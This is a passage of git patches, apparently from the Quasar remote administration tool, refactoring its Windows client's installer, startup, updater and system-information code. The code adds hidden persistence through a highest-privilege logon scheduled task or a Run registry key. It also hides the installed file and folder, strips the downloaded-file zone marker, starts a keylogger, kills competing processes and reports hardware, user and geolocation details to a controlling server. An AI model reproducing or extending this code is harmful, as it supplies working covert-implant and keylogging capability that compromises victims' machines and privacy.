""; public static bool Initialize() { diff --git a/Quasar.Server/Build/Renamer.cs b/Quasar.Server/Build/Renamer.cs index bdbe8270a..76f0dfb31 100644 --- a/Quasar.Server/Build/Renamer.cs +++ b/Quasar.Server/Build/Renamer.cs @@ -57,7 +57,7 @@ public bool Perform() private void RenameInType(TypeDefinition typeDef) { - if (!typeDef.Namespace.StartsWith("Quasar") /* || typeDef.HasInterfaces */) + if (!typeDef.Namespace.StartsWith("Quasar") || typeDef.Namespace.StartsWith("Quasar.Common.Messages") /* || typeDef.HasInterfaces */) return; _typeOverloader.GiveName(typeDef); From 7e3175664d04cec6f7fa0192a8577527b9ede813 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 27 May 2020 22:21:40 +0200 Subject: [PATCH 178/229] Refactor client installation and startup --- Quasar.Client/Extensions/ProcessExtensions.cs | 19 ++ Quasar.Client/Helper/NativeMethodsHelper.cs | 8 +- Quasar.Client/Helper/WindowsAccountHelper.cs | 33 ---- .../HardwareDevices.cs} | 102 ++++++++-- Quasar.Client/Logging/KeyloggerService.cs | 2 +- .../Messages/ClientServicesHandler.cs | 19 +- Quasar.Client/Messages/FileManagerHandler.cs | 2 +- .../Messages/SystemInformationHandler.cs | 15 +- Quasar.Client/Messages/TaskManagerHandler.cs | 38 ++-- Quasar.Client/Networking/QuasarClient.cs | 21 +- Quasar.Client/Program.cs | 5 +- Quasar.Client/QuasarApplication.cs | 184 +++++++++++------- Quasar.Client/Setup/ClientInstaller.cs | 86 ++++---- Quasar.Client/Setup/ClientSetupBase.cs | 14 ++ Quasar.Client/Setup/ClientStartup.cs | 52 +++++ Quasar.Client/Setup/ClientUninstaller.cs | 39 ++-- Quasar.Client/Setup/ClientUpdater.cs | 49 ++--- Quasar.Client/Setup/Startup.cs | 76 -------- .../ActivityDetection.cs} | 41 ++-- Quasar.Client/User/UserAccount.cs | 38 ++++ Quasar.Client/Utilities/NativeMethods.cs | 7 +- .../Utilities/SingleInstanceMutex.cs | 37 +++- Quasar.Common/Enums/AccountType.cs | 10 + Quasar.Common/Enums/UserStatus.cs | 4 +- Quasar.Common/Messages/MessageHandler.cs | 2 +- Quasar.Common/NativeMethods.cs | 13 +- 26 files changed, 539 insertions(+), 377 deletions(-) create mode 100644 Quasar.Client/Extensions/ProcessExtensions.cs delete mode 100644 Quasar.Client/Helper/WindowsAccountHelper.cs rename Quasar.Client/{Helper/DevicesHelper.cs => IO/HardwareDevices.cs} (64%) create mode 100644 Quasar.Client/Setup/ClientSetupBase.cs create mode 100644 Quasar.Client/Setup/ClientStartup.cs delete mode 100644 Quasar.Client/Setup/Startup.cs rename Quasar.Client/{Messages/UserStatusHandler.cs => User/ActivityDetection.cs} (66%) create mode 100644 Quasar.Client/User/UserAccount.cs create mode 100644 Quasar.Common/Enums/AccountType.cs diff --git a/Quasar.Client/Extensions/ProcessExtensions.cs b/Quasar.Client/Extensions/ProcessExtensions.cs new file mode 100644 index 000000000..072b5ae74 --- /dev/null +++ b/Quasar.Client/Extensions/ProcessExtensions.cs @@ -0,0 +1,19 @@ +using Quasar.Client.Utilities; +using System.Diagnostics; +using System.Text; + +namespace Quasar.Client.Extensions +{ + public static class ProcessExtensions + { + public static string GetMainModuleFileName(this Process proc) + { + uint nChars = 260; + StringBuilder buffer = new StringBuilder((int)nChars); + + var success = NativeMethods.QueryFullProcessImageName(proc.Handle, 0, buffer, ref nChars); + + return success ? buffer.ToString() : null; + } + } +} diff --git a/Quasar.Client/Helper/NativeMethodsHelper.cs b/Quasar.Client/Helper/NativeMethodsHelper.cs index 579431082..af10fdf53 100644 --- a/Quasar.Client/Helper/NativeMethodsHelper.cs +++ b/Quasar.Client/Helper/NativeMethodsHelper.cs @@ -1,8 +1,8 @@ -using System; +using Quasar.Client.Utilities; +using System; using System.Drawing; using System.Runtime.InteropServices; using System.Text; -using Quasar.Client.Utilities; namespace Quasar.Client.Helper { @@ -21,8 +21,8 @@ public static uint GetLastInputInfoTickCount() NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO(); lastInputInfo.cbSize = (uint) Marshal.SizeOf(lastInputInfo); lastInputInfo.dwTime = 0; - - return NativeMethods.GetLastInputInfo(ref lastInputInfo) ? lastInputInfo.dwTime : 0; + NativeMethods.GetLastInputInfo(ref lastInputInfo); + return lastInputInfo.dwTime; } public static void DoMouseLeftClick(Point p, bool isMouseDown) diff --git a/Quasar.Client/Helper/WindowsAccountHelper.cs b/Quasar.Client/Helper/WindowsAccountHelper.cs deleted file mode 100644 index ec3b0ef9b..000000000 --- a/Quasar.Client/Helper/WindowsAccountHelper.cs +++ /dev/null @@ -1,33 +0,0 @@ -using System; -using System.Security.Principal; - -namespace Quasar.Client.Helper -{ - public static class WindowsAccountHelper - { - public static string GetName() - { - return Environment.UserName; - } - - public static string GetAccountType() - { - using (WindowsIdentity identity = WindowsIdentity.GetCurrent()) - { - if (identity != null) - { - WindowsPrincipal principal = new WindowsPrincipal(identity); - - if (principal.IsInRole(WindowsBuiltInRole.Administrator)) - return "Admin"; - if (principal.IsInRole(WindowsBuiltInRole.User)) - return "User"; - if (principal.IsInRole(WindowsBuiltInRole.Guest)) - return "Guest"; - } - } - - return "Unknown"; - } - } -} diff --git a/Quasar.Client/Helper/DevicesHelper.cs b/Quasar.Client/IO/HardwareDevices.cs similarity index 64% rename from Quasar.Client/Helper/DevicesHelper.cs rename to Quasar.Client/IO/HardwareDevices.cs index f111d5ae8..a75c2c1ce 100644 --- a/Quasar.Client/Helper/DevicesHelper.cs +++ b/Quasar.Client/IO/HardwareDevices.cs @@ -6,18 +6,85 @@ using System.Net.NetworkInformation; using System.Net.Sockets; -namespace Quasar.Client.Helper +namespace Quasar.Client.IO { - public static class DevicesHelper + /// + /// Provides access to retrieve information about the used hardware devices. + /// + /// Caches the retrieved information to reduce the slowdown of the slow WMI queries. + public static class HardwareDevices { - public static string HardwareId { get; private set; } + /// + /// Gets a unique hardware id as a combination of various hardware components. + /// + public static string HardwareId => _hardwareId ?? (_hardwareId = Sha256.ComputeHash(CpuName + MainboardName + BiosManufacturer)); - static DevicesHelper() - { - HardwareId = Sha256.ComputeHash(GetCpuName() + GetMainboardIdentifier() + GetBiosIdentifier()); - } + /// + /// Used to cache the hardware id. + /// + private static string _hardwareId; + + /// + /// Gets the name of the system CPU. + /// + public static string CpuName => _cpuName ?? (_cpuName = GetCpuName()); + + /// + /// Used to cache the CPU name. + /// + private static string _cpuName; + + /// + /// Gets the name of the GPU. + /// + public static string GpuName => _gpuName ?? (_gpuName = GetGpuName()); + + /// + /// Used to cache the GPU name. + /// + private static string _gpuName; + + /// + /// Gets the name of the BIOS manufacturer. + /// + public static string BiosManufacturer => _biosManufacturer ?? (_biosManufacturer = GetBiosManufacturer()); + + /// + /// Used to cache the BIOS manufacturer. + /// + private static string _biosManufacturer; + + /// + /// Gets the name of the mainboard. + /// + public static string MainboardName => _mainboardName ?? (_mainboardName = GetMainboardName()); + + /// + /// Used to cache the mainboard name. + /// + private static string _mainboardName; + + /// + /// Gets the total physical memory of the system in megabytes (MB). + /// + public static int? TotalPhysicalMemory => _totalPhysicalMemory ?? (_totalPhysicalMemory = GetTotalPhysicalMemoryInMb()); + + /// + /// Used to cache the total physical memory. + /// + private static int? _totalPhysicalMemory; + + /// + /// Gets the LAN IP address of the network interface. + /// + public static string LanIpAddress => GetLanIpAddress(); + + /// + /// Gets the MAC address of the network interface. + /// + public static string MacAddress => GetMacAddress(); - public static string GetBiosIdentifier() + private static string GetBiosManufacturer() { try { @@ -42,7 +109,7 @@ public static string GetBiosIdentifier() return "Unknown"; } - public static string GetMainboardIdentifier() + private static string GetMainboardName() { try { @@ -53,7 +120,7 @@ public static string GetMainboardIdentifier() { foreach (ManagementObject mObject in searcher.Get()) { - mainboardIdentifier = mObject["Manufacturer"].ToString() + mObject["SerialNumber"].ToString(); + mainboardIdentifier = mObject["Manufacturer"].ToString() + " " + mObject["Product"].ToString(); break; } } @@ -67,7 +134,7 @@ public static string GetMainboardIdentifier() return "Unknown"; } - public static string GetCpuName() + private static string GetCpuName() { try { @@ -92,7 +159,7 @@ public static string GetCpuName() return "Unknown"; } - public static int GetTotalRamAmount() + private static int GetTotalPhysicalMemoryInMb() { try { @@ -104,7 +171,7 @@ public static int GetTotalRamAmount() foreach (ManagementObject mObject in searcher.Get()) { double bytes = (Convert.ToDouble(mObject["TotalPhysicalMemory"])); - installedRAM = (int)(bytes / 1048576); + installedRAM = (int)(bytes / 1048576); // bytes to MB break; } } @@ -117,7 +184,7 @@ public static int GetTotalRamAmount() } } - public static string GetGpuName() + private static string GetGpuName() { try { @@ -141,8 +208,9 @@ public static string GetGpuName() } } - public static string GetLanIp() + private static string GetLanIpAddress() { + // TODO: support multiple network interfaces foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces()) { GatewayIPAddressInformation gatewayAddress = ni.GetIPProperties().GatewayAddresses.FirstOrDefault(); @@ -167,7 +235,7 @@ public static string GetLanIp() return "-"; } - public static string GetMacAddress() + private static string GetMacAddress() { foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces()) { @@ -182,7 +250,7 @@ public static string GetMacAddress() ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses continue; - foundCorrect = (ip.Address.ToString() == GetLanIp()); + foundCorrect = (ip.Address.ToString() == GetLanIpAddress()); } if (foundCorrect) diff --git a/Quasar.Client/Logging/KeyloggerService.cs b/Quasar.Client/Logging/KeyloggerService.cs index bf52cb5d2..5dbb54b78 100644 --- a/Quasar.Client/Logging/KeyloggerService.cs +++ b/Quasar.Client/Logging/KeyloggerService.cs @@ -21,7 +21,7 @@ public KeyloggerService() }); } - public void StartService() + public void Start() { _msgLoopThread.Start(); } diff --git a/Quasar.Client/Messages/ClientServicesHandler.cs b/Quasar.Client/Messages/ClientServicesHandler.cs index b4c827e37..e88bad780 100644 --- a/Quasar.Client/Messages/ClientServicesHandler.cs +++ b/Quasar.Client/Messages/ClientServicesHandler.cs @@ -1,4 +1,5 @@ -using Quasar.Client.Config; +using System; +using Quasar.Client.Config; using Quasar.Client.Helper; using Quasar.Client.Networking; using Quasar.Client.Setup; @@ -7,6 +8,8 @@ using Quasar.Common.Networking; using System.Diagnostics; using System.Windows.Forms; +using Quasar.Client.User; +using Quasar.Common.Enums; namespace Quasar.Client.Messages { @@ -54,8 +57,15 @@ public override void Execute(ISender sender, IMessage message) private void Execute(ISender client, DoClientUninstall message) { client.Send(new SetStatus { Message = "Uninstalling... good bye :-(" }); - - new ClientUninstaller().Uninstall(client); + try + { + new ClientUninstaller().Uninstall(); + _client.Exit(); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Uninstall failed: {ex.Message}" }); + } } private void Execute(ISender client, DoClientDisconnect message) @@ -70,7 +80,8 @@ private void Execute(ISender client, DoClientReconnect message) private void Execute(ISender client, DoAskElevate message) { - if (WindowsAccountHelper.GetAccountType() != "Admin") + var userAccount = new UserAccount(); + if (userAccount.Type != AccountType.Admin) { ProcessStartInfo processStartInfo = new ProcessStartInfo { diff --git a/Quasar.Client/Messages/FileManagerHandler.cs b/Quasar.Client/Messages/FileManagerHandler.cs index 9ada231ce..e7777b556 100644 --- a/Quasar.Client/Messages/FileManagerHandler.cs +++ b/Quasar.Client/Messages/FileManagerHandler.cs @@ -1,5 +1,5 @@ using Quasar.Client.Networking; -using Quasar.Client.Utilities; +using Quasar.Common; using Quasar.Common.Enums; using Quasar.Common.Extensions; using Quasar.Common.Helpers; diff --git a/Quasar.Client/Messages/SystemInformationHandler.cs b/Quasar.Client/Messages/SystemInformationHandler.cs index a1043c4d1..cb020f24c 100644 --- a/Quasar.Client/Messages/SystemInformationHandler.cs +++ b/Quasar.Client/Messages/SystemInformationHandler.cs @@ -1,11 +1,13 @@ using Quasar.Client.Helper; using Quasar.Client.IpGeoLocation; +using Quasar.Client.User; using Quasar.Common.Messages; using Quasar.Common.Networking; using System; using System.Collections.Generic; using System.IO; using System.Net.NetworkInformation; +using Quasar.Client.IO; namespace Quasar.Client.Messages { @@ -39,21 +41,22 @@ private void Execute(ISender client, GetSystemInfo message) var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-"; var geoInfo = GeoInformationFactory.GetGeoInformation(); + var userAccount = new UserAccount(); List> lstInfos = new List> { - new Tuple("Processor (CPU)", DevicesHelper.GetCpuName()), - new Tuple("Memory (RAM)", $"{DevicesHelper.GetTotalRamAmount()} MB"), - new Tuple("Video Card (GPU)", DevicesHelper.GetGpuName()), - new Tuple("Username", WindowsAccountHelper.GetName()), + new Tuple("Processor (CPU)", HardwareDevices.CpuName), + new Tuple("Memory (RAM)", $"{HardwareDevices.TotalPhysicalMemory} MB"), + new Tuple("Video Card (GPU)", HardwareDevices.GpuName), + new Tuple("Username", userAccount.UserName), new Tuple("PC Name", SystemHelper.GetPcName()), new Tuple("Domain Name", domainName), new Tuple("Host Name", hostName), new Tuple("System Drive", Path.GetPathRoot(Environment.SystemDirectory)), new Tuple("System Directory", Environment.SystemDirectory), new Tuple("Uptime", SystemHelper.GetUptime()), - new Tuple("MAC Address", DevicesHelper.GetMacAddress()), - new Tuple("LAN IP Address", DevicesHelper.GetLanIp()), + new Tuple("MAC Address", HardwareDevices.MacAddress), + new Tuple("LAN IP Address", HardwareDevices.LanIpAddress), new Tuple("WAN IP Address", geoInfo.IpAddress), new Tuple("ASN", geoInfo.Asn), new Tuple("ISP", geoInfo.Isp), diff --git a/Quasar.Client/Messages/TaskManagerHandler.cs b/Quasar.Client/Messages/TaskManagerHandler.cs index 890a50fef..561d63cbe 100644 --- a/Quasar.Client/Messages/TaskManagerHandler.cs +++ b/Quasar.Client/Messages/TaskManagerHandler.cs @@ -1,6 +1,6 @@ using Quasar.Client.Networking; using Quasar.Client.Setup; -using Quasar.Client.Utilities; +using Quasar.Common; using Quasar.Common.Enums; using Quasar.Common.Helpers; using Quasar.Common.Messages; @@ -97,20 +97,23 @@ private void Execute(ISender client, DoProcessStart message) } } - try + if (message.IsUpdate) { - if (message.IsUpdate) + try { - if (ClientUpdater.Update(client, filePath)) - { - _client.Exit(); - } - else - { - throw new Exception("Update failed"); - } + var clientUpdater = new ClientUpdater(); + clientUpdater.Update(filePath); + _client.Exit(); + } + catch (Exception ex) + { + NativeMethods.DeleteFile(filePath); + client.Send(new SetStatus { Message = $"Update failed: {ex.Message}" }); } - else + } + else + { + try { ProcessStartInfo startInfo = new ProcessStartInfo { @@ -118,12 +121,13 @@ private void Execute(ISender client, DoProcessStart message) FileName = filePath }; Process.Start(startInfo); + client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = true}); } - client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true }); - } - catch - { - client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + catch (Exception) + { + client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = false}); + } + } }).Start(); } diff --git a/Quasar.Client/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs index 6735cbdf7..c5bc975d9 100644 --- a/Quasar.Client/Networking/QuasarClient.cs +++ b/Quasar.Client/Networking/QuasarClient.cs @@ -1,6 +1,9 @@ using Quasar.Client.Config; using Quasar.Client.Helper; +using Quasar.Client.IO; using Quasar.Client.IpGeoLocation; +using Quasar.Client.User; +using Quasar.Common.DNS; using Quasar.Common.Helpers; using Quasar.Common.Messages; using Quasar.Common.Utilities; @@ -8,8 +11,6 @@ using System.Diagnostics; using System.Security.Cryptography.X509Certificates; using System.Threading; -using System.Windows.Forms; -using Quasar.Common.DNS; namespace Quasar.Client.Networking { @@ -40,21 +41,14 @@ public void ConnectLoop() { if (!Connected) { - Thread.Sleep(100 + _random.Next(0, 250)); - Host host = _hosts.GetNextHost(); base.Connect(host.IpAddress, host.Port); - - Thread.Sleep(200); - - Application.DoEvents(); } while (Connected) // hold client open { - Application.DoEvents(); - Thread.Sleep(2500); + Thread.Sleep(1000); } if (Exiting) @@ -97,17 +91,18 @@ private void OnClientState(Client client, bool connected) // send client identification once connected var geoInfo = GeoInformationFactory.GetGeoInformation(); + var userAccount = new UserAccount(); client.Send(new ClientIdentification { Version = Settings.VERSION, OperatingSystem = PlatformHelper.FullName, - AccountType = WindowsAccountHelper.GetAccountType(), + AccountType = nameof(userAccount.Type), Country = geoInfo.Country, CountryCode = geoInfo.CountryCode, ImageIndex = geoInfo.ImageIndex, - Id = DevicesHelper.HardwareId, - Username = WindowsAccountHelper.GetName(), + Id = HardwareDevices.HardwareId, + Username = userAccount.UserName, PcName = SystemHelper.GetPcName(), Tag = Settings.TAG, EncryptionKey = Settings.ENCRYPTIONKEY, diff --git a/Quasar.Client/Program.cs b/Quasar.Client/Program.cs index 3f4800c35..407272804 100644 --- a/Quasar.Client/Program.cs +++ b/Quasar.Client/Program.cs @@ -14,7 +14,10 @@ private static void Main(string[] args) Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); - new QuasarApplication().Run(); + using (var app = new QuasarApplication()) + { + app.Run(); + } } } } diff --git a/Quasar.Client/QuasarApplication.cs b/Quasar.Client/QuasarApplication.cs index 9df628036..7300839df 100644 --- a/Quasar.Client/QuasarApplication.cs +++ b/Quasar.Client/QuasarApplication.cs @@ -4,6 +4,7 @@ using Quasar.Client.Messages; using Quasar.Client.Networking; using Quasar.Client.Setup; +using Quasar.Client.User; using Quasar.Client.Utilities; using Quasar.Common.DNS; using Quasar.Common.Helpers; @@ -11,70 +12,124 @@ using System; using System.Collections.Generic; using System.Diagnostics; -using System.IO; using System.Windows.Forms; namespace Quasar.Client { - public class QuasarApplication + /// + /// The client application which handles basic bootstrapping of the message processors and background tasks. + /// + public class QuasarApplication : IDisposable { + /// + /// A system-wide mutex that ensures that only one instance runs at a time. + /// public SingleInstanceMutex ApplicationMutex; + + /// + /// The client used for the connection to the server. + /// public QuasarClient ConnectClient; + + /// + /// List of to keep track of all used message processors. + /// private readonly List _messageProcessors; + + /// + /// The background keylogger service used to capture and store keystrokes. + /// private KeyloggerService _keyloggerService; + /// + /// Keeps track of the user activity. + /// + private ActivityDetection _userActivityDetection; + + /// + /// Determines whether an installation is required depending on the current and target paths. + /// private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath; + /// + /// Initializes a new instance of the class. + /// public QuasarApplication() { AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException; _messageProcessors = new List(); } + /// + /// Begins running the application. + /// public void Run() { // decrypt and verify the settings - if (Settings.Initialize()) + if (!Settings.Initialize()) return; + + ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); + + // check if process with same mutex is already running on system + if (!ApplicationMutex.CreatedNew) return; + + FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); + + var installer = new ClientInstaller(); + + if (IsInstallationRequired) { - ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); + // close mutex before installing the client + ApplicationMutex.Dispose(); - // check if process with same mutex is already running on system - if (ApplicationMutex.CreatedNew) + try + { + installer.Install(); + } + catch (Exception e) { - FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); - - if (IsInstallationRequired) - { - // close mutex before installing the client - ApplicationMutex.Dispose(); - new ClientInstaller().Install(); - } - else - { - // (re)apply settings and proceed with connect loop - ApplySettings(); - var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS)); - ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); - InitializeMessageProcessors(ConnectClient); - ConnectClient.ConnectLoop(); - } + Debug.WriteLine(e); } } + else + { + try + { + // (re)apply settings and proceed with connect loop + installer.ApplySettings(); + } + catch (Exception e) + { + Debug.WriteLine(e); + } - Cleanup(); - Exit(); - } + if (Settings.ENABLELOGGER) + { + _keyloggerService = new KeyloggerService(); + _keyloggerService.Start(); + } - private static void Exit() - { - // Don't wait for other threads - Environment.Exit(0); + var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS)); + ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); + InitializeMessageProcessors(ConnectClient); + + _userActivityDetection = new ActivityDetection(ConnectClient); + _userActivityDetection.Start(); + + ConnectClient.ConnectLoop(); + } } + /// + /// Handles unhandled exceptions by restarting the application and hoping that they don't happen again. + /// + /// The source of the unhandled exception event. + /// The exception event arguments. private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e) { if (e.IsTerminating) { + Debug.WriteLine(e); string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); if (string.IsNullOrEmpty(batchFile)) return; @@ -85,17 +140,14 @@ private static void HandleUnhandledException(object sender, UnhandledExceptionEv FileName = batchFile }; Process.Start(startInfo); - Exit(); + Environment.Exit(0); } } - private void Cleanup() - { - CleanupMessageProcessors(); - _keyloggerService?.Dispose(); - ApplicationMutex.Dispose(); - } - + /// + /// Adds all message processors to and registers them in the . + /// + /// The client which handles the connection. private void InitializeMessageProcessors(QuasarClient client) { _messageProcessors.Add(new ClientServicesHandler(this, client)); @@ -112,13 +164,15 @@ private void InitializeMessageProcessors(QuasarClient client) _messageProcessors.Add(new SystemInformationHandler()); _messageProcessors.Add(new TaskManagerHandler(client)); _messageProcessors.Add(new TcpConnectionsHandler(client)); - _messageProcessors.Add(new UserStatusHandler(client)); _messageProcessors.Add(new WebsiteVisitorHandler()); foreach (var msgProc in _messageProcessors) MessageHandler.Register(msgProc); } + /// + /// Disposes all message processors of and unregisters them from the . + /// private void CleanupMessageProcessors() { foreach (var msgProc in _messageProcessors) @@ -128,44 +182,28 @@ private void CleanupMessageProcessors() } } - private void ApplySettings() + /// + /// Releases all resources used by this . + /// + public void Dispose() { - FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); - - if (Settings.STARTUP) - { - Startup.AddToStartup(); - } - - if (Settings.INSTALL && Settings.HIDEFILE) - { - try - { - File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden); - } - catch (Exception) - { - } - } - - if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY)) - { - try - { - DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH)); - di.Attributes |= FileAttributes.Hidden; - } - catch (Exception) - { - } - } + Dispose(true); + GC.SuppressFinalize(this); + } - if (Settings.ENABLELOGGER) + /// + /// Releases all allocated message processors, services and other resources. + /// + /// True if called from , false if called from the finalizer. + protected virtual void Dispose(bool disposing) + { + if (disposing) { - _keyloggerService = new KeyloggerService(); - _keyloggerService.StartService(); + CleanupMessageProcessors(); + _keyloggerService?.Dispose(); + _userActivityDetection?.Dispose(); + ApplicationMutex.Dispose(); } } - } } diff --git a/Quasar.Client/Setup/ClientInstaller.cs b/Quasar.Client/Setup/ClientInstaller.cs index 0dbe926ff..54e563694 100644 --- a/Quasar.Client/Setup/ClientInstaller.cs +++ b/Quasar.Client/Setup/ClientInstaller.cs @@ -1,4 +1,5 @@ using Quasar.Client.Config; +using Quasar.Client.Extensions; using Quasar.Common.Helpers; using System; using System.Diagnostics; @@ -8,24 +9,49 @@ namespace Quasar.Client.Setup { - public class ClientInstaller + public class ClientInstaller : ClientSetupBase { - public void Install() + public void ApplySettings() { - bool isKilled = false; + if (Settings.STARTUP) + { + var clientStartup = new ClientStartup(); + clientStartup.AddToStartup(Application.ExecutablePath, Settings.STARTUPKEY); + } - // create target dir - if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH))) + if (Settings.INSTALL && Settings.HIDEFILE) + { + try + { + File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden); + } + catch (Exception ex) + { + Debug.WriteLine(ex); + } + } + + if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY)) { try { - Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH)); + DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH)); + di.Attributes |= FileAttributes.Hidden; } - catch (Exception) + catch (Exception ex) { - return; + Debug.WriteLine(ex); } } + } + + public void Install() + { + // create target dir + if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH))) + { + Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH)); + } // delete existing file if (File.Exists(Settings.INSTALLPATH)) @@ -38,47 +64,27 @@ public void Install() { if (ex is IOException || ex is UnauthorizedAccessException) { - // kill old process if new mutex + // kill old process running at destination path Process[] foundProcesses = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Settings.INSTALLPATH)); int myPid = Process.GetCurrentProcess().Id; foreach (var prc in foundProcesses) { + // dont kill own process if (prc.Id == myPid) continue; + // only kill the process at the destination path + if (prc.GetMainModuleFileName() != Settings.INSTALLPATH) continue; prc.Kill(); - isKilled = true; + Thread.Sleep(2000); + break; } } } } - if (isKilled) Thread.Sleep(5000); - - //copy client to target dir - try - { - File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true); - } - catch (Exception) - { - return; - } - - if (Settings.STARTUP) - { - Startup.AddToStartup(); - } + File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true); - if (Settings.HIDEFILE) - { - try - { - File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden); - } - catch (Exception) - { - } - } + ApplySettings(); FileHelper.DeleteZoneIdentifier(Settings.INSTALLPATH); @@ -90,13 +96,7 @@ public void Install() UseShellExecute = false, FileName = Settings.INSTALLPATH }; - try - { - Process.Start(startInfo); - } - catch (Exception) - { - } + Process.Start(startInfo); } } } diff --git a/Quasar.Client/Setup/ClientSetupBase.cs b/Quasar.Client/Setup/ClientSetupBase.cs new file mode 100644 index 000000000..ea84bc27c --- /dev/null +++ b/Quasar.Client/Setup/ClientSetupBase.cs @@ -0,0 +1,14 @@ +using Quasar.Client.User; + +namespace Quasar.Client.Setup +{ + public abstract class ClientSetupBase + { + protected UserAccount UserAccount; + + protected ClientSetupBase() + { + UserAccount = new UserAccount(); + } + } +} diff --git a/Quasar.Client/Setup/ClientStartup.cs b/Quasar.Client/Setup/ClientStartup.cs new file mode 100644 index 000000000..8774acebb --- /dev/null +++ b/Quasar.Client/Setup/ClientStartup.cs @@ -0,0 +1,52 @@ +using Microsoft.Win32; +using Quasar.Client.Helper; +using Quasar.Common.Enums; +using System.Diagnostics; + +namespace Quasar.Client.Setup +{ + public class ClientStartup : ClientSetupBase + { + public void AddToStartup(string executablePath, string startupName) + { + if (UserAccount.Type == AccountType.Admin) + { + ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") + { + Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath + + "\" /rl HIGHEST /f", + UseShellExecute = false, + CreateNoWindow = true + }; + + Process p = Process.Start(startInfo); + p.WaitForExit(1000); + if (p.ExitCode == 0) return; + } + + RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath, + true); + } + + public void RemoveFromStartup(string startupName) + { + if (UserAccount.Type == AccountType.Admin) + { + ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") + { + Arguments = "/delete /tn \"" + startupName + "\" /f", + UseShellExecute = false, + CreateNoWindow = true + }; + + Process p = Process.Start(startInfo); + p.WaitForExit(1000); + if (p.ExitCode == 0) return; + } + + RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName); + } + } +} diff --git a/Quasar.Client/Setup/ClientUninstaller.cs b/Quasar.Client/Setup/ClientUninstaller.cs index c384736d7..66910df12 100644 --- a/Quasar.Client/Setup/ClientUninstaller.cs +++ b/Quasar.Client/Setup/ClientUninstaller.cs @@ -1,42 +1,33 @@ using Quasar.Client.Config; using Quasar.Client.IO; -using Quasar.Common.Messages; -using Quasar.Common.Networking; using System; using System.Diagnostics; using System.Windows.Forms; namespace Quasar.Client.Setup { - public class ClientUninstaller + public class ClientUninstaller : ClientSetupBase { - public bool Uninstall(ISender client) + public void Uninstall() { - try + if (Settings.STARTUP) { - if (Settings.STARTUP) - Startup.RemoveFromStartup(); - - string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH); + var clientStartup = new ClientStartup(); + clientStartup.RemoveFromStartup(Settings.STARTUPKEY); + } - if (string.IsNullOrEmpty(batchFile)) - throw new Exception("Could not create uninstall-batch file"); + string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH); - ProcessStartInfo startInfo = new ProcessStartInfo - { - WindowStyle = ProcessWindowStyle.Hidden, - UseShellExecute = true, - FileName = batchFile - }; - Process.Start(startInfo); + if (string.IsNullOrEmpty(batchFile)) + throw new Exception("Could not create uninstall-batch file."); - return true; - } - catch (Exception ex) + ProcessStartInfo startInfo = new ProcessStartInfo { - client.Send(new SetStatus {Message = $"Uninstall failed: {ex.Message}"}); - return false; - } + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); } } } diff --git a/Quasar.Client/Setup/ClientUpdater.cs b/Quasar.Client/Setup/ClientUpdater.cs index 65923880c..6481381a4 100644 --- a/Quasar.Client/Setup/ClientUpdater.cs +++ b/Quasar.Client/Setup/ClientUpdater.cs @@ -1,9 +1,6 @@ using Quasar.Client.Config; using Quasar.Client.IO; -using Quasar.Client.Utilities; using Quasar.Common.Helpers; -using Quasar.Common.Messages; -using Quasar.Common.Networking; using System; using System.Diagnostics; using System.IO; @@ -11,41 +8,33 @@ namespace Quasar.Client.Setup { - public static class ClientUpdater + public class ClientUpdater : ClientSetupBase { - 